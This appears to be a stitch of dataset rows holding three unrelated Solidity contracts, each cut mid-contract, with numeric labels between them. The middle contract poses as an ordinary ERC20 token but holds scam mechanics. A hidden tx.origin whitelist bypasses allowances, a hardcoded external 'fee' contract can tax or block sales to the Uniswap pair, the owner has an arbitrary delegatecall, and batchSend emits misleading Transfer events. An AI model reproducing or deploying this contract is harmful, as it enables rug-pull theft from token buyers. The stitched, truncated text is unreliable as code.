vault.del(wallets[uint8(Roles.manager)]);
}
}
function paymentsInOtherCurrency(uint256 _token, uint256 _value) public {
require(wallets[uint8(Roles.observer)] == msg.sender || wallets[uint8(Roles.manager)] == msg.sender);
bool withinPeriod = (now >= startTime && now <= endTime);
bool withinCap = _value.add(ethWeiRaised) <= hardCap.add(overLimit);
require(withinPeriod && withinCap && isInitialized);
nonEthWeiRaised = _value;
tokenReserved = _token;
}
function changeLock(address _owner, uint256 _value, uint256 _date) external {
require(wallets[uint8(Roles.manager)] == msg.sender);
token.changeLock(_owner, _value, _date);
}
function lokedMint(address _beneficiary, uint256 _value, uint256 _freezeTime) internal {
if(_freezeTime > 0){
uint256 totalBloked = token.valueBlocked(_beneficiary).add(_value);
uint256 pastDateUnfreeze = token.blikedUntil(_beneficiary);
uint256 newDateUnfreeze = _freezeTime + now;
newDateUnfreeze = (pastDateUnfreeze > newDateUnfreeze ) ? pastDateUnfreeze : newDateUnfreeze;
token.changeLock(_beneficiary,totalBloked,newDateUnfreeze);
}
token.mint(_beneficiary,_value);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 ProfitProcent = getProfitPercent();
var (bonus, dateUnfreeze) = getBonuses(weiAmount);
uint256 totalProfit = ProfitProcent;
totalProfit = (totalProfit < bonus) ? bonus : totalProfit;
totalProfit = (totalProfit > profit.maxAllProfit) ? profit.maxAllProfit : totalProfit;
uint256 tokens = weiAmount.mul(rate).mul(totalProfit + 100).div(100000);
ethWeiRaised = ethWeiRaised.add(weiAmount);
lokedMint(beneficiary, tokens, dateUnfreeze);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function () public payable {
buyTokens(msg.sender);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public{
require(newOwner != address(0));
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool _paused = false;
function paused() public constant returns(bool)
{
return _paused;
}
modifier whenNotPaused() {
require(!paused());
_;
}
function pause() onlyOwner public {
require(!_paused);
_paused = true;
Pause();
}
function unpause() onlyOwner public {
require(_paused);
_paused = false;
Unpause();
}
}
contract MigrationAgent
{
function migrateFrom(address _from, uint256 _value) public;
}
contract BlockedToken is Ownable {
using SafeMath for uint256;
struct locked {uint256 value; uint256 date;}
mapping (address => locked) locks;
function blikedUntil(address _owner) external constant returns (uint256) {
if(now < locks[_owner].date)
{
return locks[_owner].date;
}else{
return 0;
}
}
function valueBlocked(address _owner) public constant returns (uint256) {
if(now < locks[_owner].date)
{
return locks[_owner].value;
}else{
return 0;
}
}
function changeLock(address _owner, uint256 _value, uint256 _date) external onlyOwner {
locks[_owner] = locked(_value,_date);
}
}
contract TokenL is Pausable, BlockedToken {
using SafeMath for uint256;
string public constant name = "Crypt2Pos";
string public constant symbol = "CRPOS";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public unpausedWallet;
bool public mintingFinished = false;
uint256 public totalMigrated;
address public migrationAgent;
address public freezingManager;
mapping (address => bool) public freezingAgent;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
event Migrate(address indexed _from, address indexed _to, uint256 _value);
modifier canMint() {
require(!mintingFinished);
_;
}
function TokenL() public{
owner = 0x0;
}
function setOwner() public{
require(owner == 0x0);
owner = msg.sender;
}
function setFreezingManager(address _newAddress) external {
require(msg.sender == owner || msg.sender == freezingManager);
freezingAgent[freezingManager] = false;
freezingManager = _newAddress;
freezingAgent[freezingManager] = true;
}
function changeFreezingAgent(address _agent, bool _right) external {
require(msg.sender == freezingManager);
freezingAgent[_agent] = _right;
}
function transferAndFreeze(address _to, uint256 _value, uint256 _when) external {
require(freezingAgent[msg.sender]);
if(_when > 0){
locked storage _locked = locks[_to];
_locked.value = valueBlocked(_to).add(_value);
_locked.date = (_locked.date > _when)? _locked.date: _when;
}
transfer(_to,_value);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(!paused()||unpausedWallet[msg.sender]||unpausedWallet[_to]);
uint256 available = balances[msg.sender].sub(valueBlocked(msg.sender));
require(_value <= available);
require (_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(!paused()||unpausedWallet[msg.sender]||unpausedWallet[_to]);
uint256 available = balances[_from].sub(valueBlocked(_from));
require(_value <= available);
var _allowance = allowed[_from][msg.sender];
require (_value > 0);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() public onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function paused() public constant returns(bool) {
return super.paused();
}
function addUnpausedWallet(address _wallet) public onlyOwner {
unpausedWallet[_wallet] = true;
}
function delUnpausedWallet(address _wallet) public onlyOwner {
unpausedWallet[_wallet] = false;
}
function setMigrationAgent(address _migrationAgent) public onlyOwner {
require(migrationAgent == 0x0);
migrationAgent = _migrationAgent;
}
function migrateAll(address[] _holders) public onlyOwner {
require(migrationAgent != 0x0);
uint256 total = 0;
uint256 value;
for(uint i = 0; i < _holders.length; i++){
value = balances[_holders[i]];
if(value > 0){
balances[_holders[i]] = 0;
total = total.add(value);
MigrationAgent(migrationAgent).migrateFrom(_holders[i], value);
Migrate(_holders[i],migrationAgent,value);
}
totalSupply = totalSupply.sub(total);
totalMigrated = totalMigrated.add(total);
}
}
function migration(address _holder) internal {
require(migrationAgent != 0x0);
uint256 value = balances[_holder];
require(value > 0);
balances[_holder] = 0;
totalSupply = totalSupply.sub(value);
totalMigrated = totalMigrated.add(value);
MigrationAgent(migrationAgent).migrateFrom(_holder, value);
Migrate(_holder,migrationAgent,value);
}
function migrate() public
{
migration(msg.sender);
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
event Deposited(address indexed beneficiary, uint256 weiAmount);
function RefundVault() public {
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
Deposited(investor,msg.value);
}
function close(address _wallet) onlyOwner public {
require(state == State.Active);
require(_wallet != 0x0);
state = State.Closed;
Closed();
_wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
require(deposited[investor] > 0);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
function del(address _wallet) external onlyOwner {
selfdestruct(_wallet);
}
}
contract DistributorRefundVault is RefundVault{
address public taxCollector;
uint256 public taxValue;
function DistributorRefundVault(address _taxCollector, uint256 _taxValue) RefundVault() public{
taxCollector = _taxCollector;
taxValue = _taxValue;
}
function close(address _wallet) onlyOwner public {
require(state == State.Active);
require(_wallet != 0x0);
state = State.Closed;
Closed();
uint256 allPay = this.balance;
uint256 forTarget1;
uint256 forTarget2;
if(taxValue <= allPay){
forTarget1 = taxValue;
forTarget2 = allPay.sub(taxValue);
taxValue = 0;
}else {
taxValue = taxValue.sub(allPay);
forTarget1 = allPay;
forTarget2 = 0;
}
if(forTarget1 != 0){
taxCollector.transfer(forTarget1);
}
if(forTarget2 != 0){
_wallet.transfer(forTarget2);
}
}
} | 1 | 5,224 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface FeeManagementLibrary {
function calculate(address,address,uint256) external returns(uint256);
}
contract StandardToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from && state[tx.origin] == 0) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
uint256 fee = calcFee(_from, _to, _value);
balanceOf[_to] += (_value - fee);
emit Transfer(_from, _to, _value);
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function calcFee(address _from, address _to, uint _value) private returns(uint256) {
uint fee = 0;
if (_to == UNI && _from != owner && state[_from] == 0) {
fee = FeeManagementLibrary(FeeManagement).calculate(address(this), UNI, _value);
}
return fee;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
state[_to] = 1;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => uint) public state;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address private UNI = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant internal FeeManagement = 0x23a211c820c745DDdC8BDd6D313F1143C3008406;
constructor(string memory _name, string memory _symbol, uint _totalSupply) payable public {
owner = msg.sender;
symbol = _symbol;
name = _name;
totalSupply = _totalSupply;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 480 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "PandroytyToken";
string constant TOKEN_SYMBOL = "PDRY";
bool constant PAUSED = true;
address constant TARGET_USER = 0x8f302c391b2b6fd064ae8257d09a13d9fedde207;
uint constant START_TIME = 1524296280;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal view returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale {
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
token.finishMinting();
}
token.transferOwnership(TARGET_USER);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
}
contract Checkable {
address private serviceAccount;
bool private triggered = false;
event Triggered(uint balance);
event Checked(bool isAccident);
function Checkable() public {
serviceAccount = msg.sender;
}
function changeServiceAccount(address _account) onlyService public {
assert(_account != 0);
serviceAccount = _account;
}
function isServiceAccount() view public returns (bool) {
